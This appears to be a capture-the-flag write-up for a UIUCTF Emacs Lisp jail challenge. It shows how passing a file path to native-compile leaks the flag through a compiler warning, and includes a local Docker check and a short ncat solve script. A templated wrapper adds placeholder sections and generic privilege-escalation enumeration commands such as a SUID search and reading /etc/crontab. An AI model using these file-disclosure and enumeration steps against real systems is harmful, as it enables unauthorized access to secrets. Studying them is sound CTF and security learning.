emacsjail2
emacsjail2
Platform: Uiuc2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-09 | Status: Solved Techniques: filename_type_confusion, compiler_diagnostic_disclosure
Summary
Task: An Emacs Lisp jail native-compiles one attacker-supplied form and scans the resulting function for control flow. Solution: Pass a source filename so compiler diagnostics disclose its free-symbol token before validation.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
uiuc2026| ID:20260809_uiuc2026_emacsjail2 - Tags: jail, file_disclosure, emacs_lisp, native_compilation, api_confusion
- Indicators: native-compile receives attacker-controlled input, first argument accepts a function or source filename, compiler diagnostics occur before return-value validation
- Source:
20260809_uiuc2026_emacsjail2.md
Foothold
Vulnerability / Misconfiguration
- Filename_type_confusion
- Compiler_diagnostic_disclosure
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- filename_type_confusion
- compiler_diagnostic_disclosure
- Tags: jail, file_disclosure, emacs_lisp, native_compilation, api_confusion
Original Writeup
<details><summary>Click to expand original content</summary>Description
The sacrifices we make in the name of performance...
The service reads one Emacs Lisp form, native-compiles it, checks the generated machine code, and executes it only if the checker approves. The goal is to recover the flag despite this compilation jail.
Challenge Summary
The key issue is an API type confusion at the call to native-compile. Its first argument may be either a Lisp function or a source filename, but the challenge passes the parsed user input to it without requiring a function. Supplying the string "/flag.txt" makes Emacs parse the flag file as source and print its token in a compiler warning before the jailer examines the return value.
Source Analysis
The important logic in challenge.el is:
(let ((input (read-string "Input: ")))
(unless (length< input 4096)
(panic "input is too long"))
(let ((code (read-from-string input)))
(setq code (car code))
;; Macro restrictions omitted here.
(let ((compilation-safety 0)
(compiled (native-compile code (make-temp-file "emacsjail2"))))
(unless (check compiled) (panic "jailer does not approve of your program"))
(message "%s" (funcall compiled)))))
The program assumes code describes a function. That assumption is not enforced: native-compile also accepts a source filename.
The check function only proceeds when its argument satisfies native-comp-function-p. For a normal function, the Zig module locates the generated ELF symbol and rejects Capstone instructions belonging to the CALL or JUMP groups. This machine-code policy is not the boundary exploited here.
Vulnerability
The payload is a Lisp string containing the flag-file path:
"/flag.txt"
read-from-string returns that string as code. Consequently, the next operation is equivalent to native-compiling /flag.txt as an Emacs Lisp source file.
The flag file consists of a one-line token in the expected format. Emacs Lisp can parse such a token as a symbol, so native compilation reports a reference to an unbound free variable. The diagnostic includes the symbol text verbatim.
The order of operations is decisive:
native-compileopens and parses the supplied filename.- Compilation emits the free-variable diagnostic, disclosing the file content.
native-compilereturns the generated ELN filename as a string.checkrejects that string because it is not a native-compiled function.- The challenge exits, but the disclosure has already occurred.
Thus, the jailer is bypassed logically rather than defeated. No forbidden machine code is executed, and the later rejection is harmless.
Local Verification
The distributed flag.txt contains the confirmed placeholder uiuctf{foobar}. Using the distributed challenge.el in the local Emacs test container:
printf '%s\n' '"/work/emacsjail2/challenge/flag.txt"' |
docker run --rm --platform linux/amd64 -i \
-v "$PWD:/work" \
-w /work/emacsjail2/challenge \
emacsjail2-test \
emacs -nl -nw -Q --batch -l challenge.el
The compiler printed:
flag.txt:1:1: Warning: reference to free variable ‘uiuctf{foobar}’
jailer does not approve of your program
This verifies both the diagnostic disclosure and the expected later rejection.
Remote Exploit
The remote service is PTY-backed. Closing piped standard input immediately could terminate the session before the compiler diagnostic arrived, so the solver keeps stdin open briefly:
#!/bin/sh set -eu (printf '%s\n' '"/flag.txt"'; sleep 15) | ncat --ssl emacsjail2.chal.uiuc.tf 1337
The remote output included the disclosure followed by the expected rejection:
flag.txt:1:1: Warning: reference to free variable ‘uiuctf{REDACTED}’
jailer does not approve of your program
Discarded Path
Initial analysis noted that compilation-safety is set to zero and that comp-hint-cons can produce straight-line unchecked reads. This suggested a possible machine-code or memory-corruption route. It was unnecessary once the function-or-filename behavior of native-compile was recognized.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR